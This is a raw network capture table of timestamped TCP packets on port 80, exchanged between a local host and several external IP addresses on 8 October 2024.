Oct 8, 2024 15:35:10.239222050 CEST	60837	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:10.244123936 CEST	80	60837	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:10.244188070 CEST	80	60837	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:10.244224072 CEST	80	60837	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:10.244236946 CEST	60837	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:10.328174114 CEST	80	60837	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:10.328223944 CEST	80	60837	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:10.328252077 CEST	60837	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:10.328264952 CEST	80	60837	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:10.328315020 CEST	60837	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:11.110184908 CEST	60837	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:12.129316092 CEST	60838	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:12.134442091 CEST	80	60838	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:12.134529114 CEST	60838	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:12.148328066 CEST	60838	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:12.153889894 CEST	80	60838	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:12.154014111 CEST	80	60838	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:12.826778889 CEST	80	60838	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:12.826798916 CEST	80	60838	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:12.826811075 CEST	80	60838	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:12.826860905 CEST	60838	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:12.826915026 CEST	80	60838	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:12.826931000 CEST	80	60838	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:12.826945066 CEST	80	60838	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:12.826956987 CEST	80	60838	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:12.826957941 CEST	60838	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:12.826988935 CEST	60838	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:12.827085972 CEST	80	60838	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:12.827126980 CEST	60838	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:12.827245951 CEST	80	60838	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:12.827416897 CEST	80	60838	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:12.827471018 CEST	60838	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:12.832540035 CEST	80	60838	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:12.832557917 CEST	80	60838	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:12.832571983 CEST	80	60838	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:12.832623959 CEST	60838	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:12.931890011 CEST	80	60838	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:12.931907892 CEST	80	60838	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:12.931956053 CEST	80	60838	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:12.931982994 CEST	60838	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:12.932013035 CEST	60838	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:13.659024954 CEST	60838	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:14.675574064 CEST	60839	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:14.681185961 CEST	80	60839	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:14.681277990 CEST	60839	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:14.689215899 CEST	60839	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:14.695091009 CEST	80	60839	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:15.288995981 CEST	80	60839	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:15.289017916 CEST	80	60839	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:15.289030075 CEST	80	60839	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:15.289057016 CEST	80	60839	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:15.289068937 CEST	80	60839	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:15.289079905 CEST	80	60839	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:15.289093018 CEST	80	60839	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:15.289103985 CEST	80	60839	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:15.289129019 CEST	60839	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:15.289283991 CEST	60839	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:15.289494038 CEST	80	60839	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:15.289736032 CEST	80	60839	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:15.291085005 CEST	60839	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:15.294135094 CEST	80	60839	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:15.294151068 CEST	80	60839	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:15.294163942 CEST	80	60839	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:15.294271946 CEST	60839	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:15.377408028 CEST	80	60839	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:15.377446890 CEST	80	60839	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:15.377840042 CEST	60839	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:15.377882957 CEST	80	60839	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:15.378144979 CEST	60839	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:15.380539894 CEST	60839	80	192.168.2.9	199.192.19.19
Oct 8, 2024 15:35:15.385696888 CEST	80	60839	199.192.19.19	192.168.2.9
Oct 8, 2024 15:35:20.743256092 CEST	60840	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:20.749845028 CEST	80	60840	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:20.749936104 CEST	60840	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:20.766876936 CEST	60840	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:20.774473906 CEST	80	60840	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:21.277307987 CEST	80	60840	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:21.277374983 CEST	60840	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:22.281724930 CEST	60840	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:22.286885977 CEST	80	60840	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:23.300478935 CEST	60841	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:23.306505919 CEST	80	60841	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:23.306586981 CEST	60841	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:23.320000887 CEST	60841	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:23.324879885 CEST	80	60841	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:23.848958969 CEST	80	60841	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:23.849036932 CEST	60841	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:24.839010000 CEST	60841	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:24.844398975 CEST	80	60841	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:25.847820044 CEST	60842	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:25.853174925 CEST	80	60842	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:25.853296995 CEST	60842	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:25.867177963 CEST	60842	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:25.873378992 CEST	80	60842	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:25.873658895 CEST	80	60842	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:26.368252993 CEST	80	60842	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:26.372437954 CEST	60842	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:27.379014015 CEST	60842	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:27.384109020 CEST	80	60842	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:28.398016930 CEST	60843	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:28.403146029 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:28.403280020 CEST	60843	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:28.410914898 CEST	60843	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:28.416150093 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.515738964 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.515763044 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.515779018 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.515791893 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.515803099 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.515814066 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.515825033 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.515837908 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.515917063 CEST	60843	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:29.515961885 CEST	60843	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:29.516009092 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.516020060 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.516062975 CEST	60843	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:29.521941900 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.521960974 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.521974087 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.522095919 CEST	60843	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:29.624789953 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.624854088 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.624886036 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.624905109 CEST	60843	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:29.624916077 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.624949932 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.624953985 CEST	60843	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:29.624993086 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.625025988 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.625061989 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.625066042 CEST	60843	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:29.625087976 CEST	60843	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:29.625289917 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.625324965 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.625338078 CEST	60843	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:29.625973940 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.626005888 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.626024961 CEST	60843	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:29.626041889 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.626142979 CEST	60843	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:29.626912117 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.626945972 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.626977921 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.627007961 CEST	60843	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:29.627017975 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.627057076 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.627068996 CEST	60843	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:29.627094030 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.627129078 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.627142906 CEST	60843	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:29.627830982 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.627862930 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.627881050 CEST	60843	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:29.627896070 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.627947092 CEST	60843	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:29.715322018 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.716140985 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:29.716238022 CEST	60843	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:29.797751904 CEST	60843	80	192.168.2.9	208.91.197.27
Oct 8, 2024 15:35:29.803124905 CEST	80	60843	208.91.197.27	192.168.2.9
Oct 8, 2024 15:35:35.382667065 CEST	60844	80	192.168.2.9	156.242.132.82
Oct 8, 2024 15:35:35.387847900 CEST	80	60844	156.242.132.82	192.168.2.9
Oct 8, 2024 15:35:35.387924910 CEST	60844	80	192.168.2.9	156.242.132.82
Oct 8, 2024 15:35:35.399240017 CEST	60844	80	192.168.2.9	156.242.132.82
Oct 8, 2024 15:35:35.404186010 CEST	80	60844	156.242.132.82	192.168.2.9
Oct 8, 2024 15:35:36.363529921 CEST	80	60844	156.242.132.82	192.168.2.9
Oct 8, 2024 15:35:36.363601923 CEST	60844	80	192.168.2.9	156.242.132.82
Oct 8, 2024 15:35:36.906400919 CEST	60844	80	192.168.2.9	156.242.132.82
Oct 8, 2024 15:35:36.911456108 CEST	80	60844	156.242.132.82	192.168.2.9
Oct 8, 2024 15:35:37.925240993 CEST	60845	80	192.168.2.9	156.242.132.82
Oct 8, 2024 15:35:37.930701017 CEST	80	60845	156.242.132.82	192.168.2.9
Oct 8, 2024 15:35:37.930840015 CEST	60845	80	192.168.2.9	156.242.132.82
Oct 8, 2024 15:35:37.943063021 CEST	60845	80	192.168.2.9	156.242.132.82
Oct 8, 2024 15:35:37.948312044 CEST	80	60845	156.242.132.82	192.168.2.9
Oct 8, 2024 15:35:39.453233957 CEST	60845	80	192.168.2.9	156.242.132.82
Oct 8, 2024 15:35:39.504586935 CEST	80	60845	156.242.132.82	192.168.2.9
Oct 8, 2024 15:35:40.472306967 CEST	60846	80	192.168.2.9	156.242.132.82
Oct 8, 2024 15:35:40.478317976 CEST	80	60846	156.242.132.82	192.168.2.9
Oct 8, 2024 15:35:40.478403091 CEST	60846	80	192.168.2.9	156.242.132.82
Oct 8, 2024 15:35:40.489506006 CEST	60846	80	192.168.2.9	156.242.132.82
Oct 8, 2024 15:35:40.494580030 CEST	80	60846	156.242.132.82	192.168.2.9
Oct 8, 2024 15:35:40.494822979 CEST	80	60846	156.242.132.82	192.168.2.9
Oct 8, 2024 15:35:42.000108004 CEST	60846	80	192.168.2.9	156.242.132.82
Oct 8, 2024 15:35:42.048476934 CEST	80	60846	156.242.132.82	192.168.2.9
Oct 8, 2024 15:35:43.019088030 CEST	60847	80	192.168.2.9	156.242.132.82
Oct 8, 2024 15:35:43.024810076 CEST	80	60847	156.242.132.82	192.168.2.9
Oct 8, 2024 15:35:43.024899006 CEST	60847	80	192.168.2.9	156.242.132.82
Oct 8, 2024 15:35:43.033276081 CEST	60847	80	192.168.2.9	156.242.132.82
Oct 8, 2024 15:35:43.039154053 CEST	80	60847	156.242.132.82	192.168.2.9
Oct 8, 2024 15:35:59.293378115 CEST	80	60845	156.242.132.82	192.168.2.9
Oct 8, 2024 15:35:59.293483019 CEST	60845	80	192.168.2.9	156.242.132.82
Oct 8, 2024 15:36:01.852247000 CEST	80	60846	156.242.132.82	192.168.2.9
Oct 8, 2024 15:36:01.852346897 CEST	60846	80	192.168.2.9	156.242.132.82
Oct 8, 2024 15:36:04.387594938 CEST	80	60847	156.242.132.82	192.168.2.9
Oct 8, 2024 15:36:04.387733936 CEST	60847	80	192.168.2.9	156.242.132.82
Oct 8, 2024 15:36:04.392374039 CEST	60847	80	192.168.2.9	156.242.132.82
Oct 8, 2024 15:36:04.397614002 CEST	80	60847	156.242.132.82	192.168.2.9
Oct 8, 2024 15:36:17.725855112 CEST	60848	80	192.168.2.9	84.32.84.32
Oct 8, 2024 15:36:17.734536886 CEST	80	60848	84.32.84.32	192.168.2.9
Oct 8, 2024 15:36:17.734621048 CEST	60848	80	192.168.2.9	84.32.84.32
Oct 8, 2024 15:36:17.746534109 CEST	60848	80	192.168.2.9	84.32.84.32
Oct 8, 2024 15:36:17.751740932 CEST	80	60848	84.32.84.32	192.168.2.9
Oct 8, 2024 15:36:18.220551014 CEST	80	60848	84.32.84.32	192.168.2.9
Oct 8, 2024 15:36:18.221807003 CEST	60848	80	192.168.2.9	84.32.84.32
Oct 8, 2024 15:36:19.250175953 CEST	60848	80	192.168.2.9	84.32.84.32
Oct 8, 2024 15:36:19.255150080 CEST	80	60848	84.32.84.32	192.168.2.9
Oct 8, 2024 15:36:20.269082069 CEST	60849	80	192.168.2.9	84.32.84.32
Oct 8, 2024 15:36:20.274389029 CEST	80	60849	84.32.84.32	192.168.2.9
Oct 8, 2024 15:36:20.277581930 CEST	60849	80	192.168.2.9	84.32.84.32
Oct 8, 2024 15:36:20.289485931 CEST	60849	80	192.168.2.9	84.32.84.32
Oct 8, 2024 15:36:20.294477940 CEST	80	60849	84.32.84.32	192.168.2.9
Oct 8, 2024 15:36:20.736973047 CEST	80	60849	84.32.84.32	192.168.2.9
Oct 8, 2024 15:36:20.739145041 CEST	60849	80	192.168.2.9	84.32.84.32
Oct 8, 2024 15:36:21.797180891 CEST	60849	80	192.168.2.9	84.32.84.32
Oct 8, 2024 15:36:21.802536011 CEST	80	60849	84.32.84.32	192.168.2.9
Oct 8, 2024 15:36:22.816292048 CEST	60850	80	192.168.2.9	84.32.84.32
Oct 8, 2024 15:36:22.822418928 CEST	80	60850	84.32.84.32	192.168.2.9
Oct 8, 2024 15:36:22.822539091 CEST	60850	80	192.168.2.9	84.32.84.32
Oct 8, 2024 15:36:22.838145971 CEST	60850	80	192.168.2.9	84.32.84.32
Oct 8, 2024 15:36:22.843208075 CEST	80	60850	84.32.84.32	192.168.2.9
Oct 8, 2024 15:36:22.843230009 CEST	80	60850	84.32.84.32	192.168.2.9
Oct 8, 2024 15:36:23.290839911 CEST	80	60850	84.32.84.32	192.168.2.9
Oct 8, 2024 15:36:23.290926933 CEST	60850	80	192.168.2.9	84.32.84.32
Oct 8, 2024 15:36:24.343944073 CEST	60850	80	192.168.2.9	84.32.84.32
Oct 8, 2024 15:36:24.596533060 CEST	80	60850	84.32.84.32	192.168.2.9
Oct 8, 2024 15:36:25.363372087 CEST	60851	80	192.168.2.9	84.32.84.32
Oct 8, 2024 15:36:25.368577957 CEST	80	60851	84.32.84.32	192.168.2.9
Oct 8, 2024 15:36:25.368669987 CEST	60851	80	192.168.2.9	84.32.84.32
Oct 8, 2024 15:36:25.378170967 CEST	60851	80	192.168.2.9	84.32.84.32
Oct 8, 2024 15:36:25.383198977 CEST	80	60851	84.32.84.32	192.168.2.9
Oct 8, 2024 15:36:25.860763073 CEST	80	60851	84.32.84.32	192.168.2.9
Oct 8, 2024 15:36:25.860809088 CEST	80	60851	84.32.84.32	192.168.2.9
Oct 8, 2024 15:36:25.860832930 CEST	80	60851	84.32.84.32	192.168.2.9
Oct 8, 2024 15:36:25.860857010 CEST	80	60851	84.32.84.32	192.168.2.9
Oct 8, 2024 15:36:25.860876083 CEST	80	60851	84.32.84.32	192.168.2.9
Oct 8, 2024 15:36:25.860898972 CEST	80	60851	84.32.84.32	192.168.2.9
Oct 8, 2024 15:36:25.860920906 CEST	80	60851	84.32.84.32	192.168.2.9
Oct 8, 2024 15:36:25.860953093 CEST	60851	80	192.168.2.9	84.32.84.32
Oct 8, 2024 15:36:25.860975981 CEST	60851	80	192.168.2.9	84.32.84.32
Oct 8, 2024 15:36:25.861382008 CEST	80	60851	84.32.84.32	192.168.2.9
Oct 8, 2024 15:36:25.861398935 CEST	80	60851	84.32.84.32	192.168.2.9
Oct 8, 2024 15:36:25.861428976 CEST	80	60851	84.32.84.32	192.168.2.9
Oct 8, 2024 15:36:25.861437082 CEST	60851	80	192.168.2.9	84.32.84.32
Oct 8, 2024 15:36:25.861457109 CEST	80	60851	84.32.84.32	192.168.2.9
Oct 8, 2024 15:36:25.861470938 CEST	60851	80	192.168.2.9	84.32.84.32
Oct 8, 2024 15:36:25.861501932 CEST	60851	80	192.168.2.9	84.32.84.32
Oct 8, 2024 15:36:25.865669966 CEST	60851	80	192.168.2.9	84.32.84.32
Oct 8, 2024 15:36:25.870784044 CEST	80	60851	84.32.84.32	192.168.2.9
Oct 8, 2024 15:36:31.348639965 CEST	60852	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:31.353745937 CEST	80	60852	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:31.353840113 CEST	60852	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:31.364955902 CEST	60852	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:31.369998932 CEST	80	60852	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:31.833496094 CEST	80	60852	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:31.833519936 CEST	80	60852	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:31.833544016 CEST	80	60852	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:31.833554983 CEST	80	60852	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:31.833578110 CEST	80	60852	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:31.833597898 CEST	60852	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:31.833610058 CEST	80	60852	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:31.833623886 CEST	60852	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:31.833632946 CEST	80	60852	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:31.833647966 CEST	80	60852	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:31.833668947 CEST	80	60852	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:31.833674908 CEST	60852	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:31.833689928 CEST	60852	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:31.833697081 CEST	80	60852	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:31.833734989 CEST	60852	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:31.834307909 CEST	80	60852	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:31.834357023 CEST	60852	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:32.875370026 CEST	60852	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:33.893872023 CEST	60853	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:33.899036884 CEST	80	60853	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:33.899189949 CEST	60853	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:33.909727097 CEST	60853	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:33.914827108 CEST	80	60853	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:34.378201962 CEST	80	60853	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:34.378263950 CEST	80	60853	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:34.378325939 CEST	80	60853	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:34.378357887 CEST	60853	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:34.378415108 CEST	80	60853	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:34.378459930 CEST	60853	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:34.378465891 CEST	80	60853	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:34.378513098 CEST	80	60853	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:34.378555059 CEST	60853	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:34.378559113 CEST	80	60853	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:34.378607035 CEST	80	60853	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:34.378647089 CEST	60853	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:34.378653049 CEST	80	60853	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:34.378703117 CEST	80	60853	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:34.378748894 CEST	60853	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:34.378997087 CEST	80	60853	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:34.379062891 CEST	60853	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:35.422138929 CEST	60853	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:36.441040039 CEST	60854	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:36.446815014 CEST	80	60854	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:36.446923971 CEST	60854	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:36.457803011 CEST	60854	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:36.462882042 CEST	80	60854	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:36.463901043 CEST	80	60854	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:36.958839893 CEST	80	60854	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:36.958864927 CEST	80	60854	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:36.958897114 CEST	80	60854	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:36.958915949 CEST	80	60854	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:36.958930016 CEST	80	60854	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:36.958949089 CEST	80	60854	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:36.958949089 CEST	60854	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:36.958982944 CEST	80	60854	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:36.958991051 CEST	60854	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:36.958998919 CEST	60854	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:36.959006071 CEST	80	60854	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:36.959029913 CEST	80	60854	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:36.959044933 CEST	80	60854	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:36.959076881 CEST	60854	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:36.959105968 CEST	60854	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:36.960849047 CEST	80	60854	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:36.960908890 CEST	60854	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:37.981678009 CEST	60854	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:38.988013983 CEST	60855	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:38.993015051 CEST	80	60855	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:38.993113995 CEST	60855	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:39.000379086 CEST	60855	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:39.005965948 CEST	80	60855	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:39.447664976 CEST	80	60855	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:39.447699070 CEST	80	60855	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:39.447715044 CEST	80	60855	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:39.447725058 CEST	80	60855	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:39.447745085 CEST	80	60855	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:39.447755098 CEST	80	60855	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:39.447772026 CEST	60855	80	192.168.2.9	3.91.127.116
Oct 8, 2024 15:36:39.447787046 CEST	80	60855	3.91.127.116	192.168.2.9
Oct 8, 2024 15:36:39.447798967 CEST	80	60855	3.91.127.116	192.168.2.9
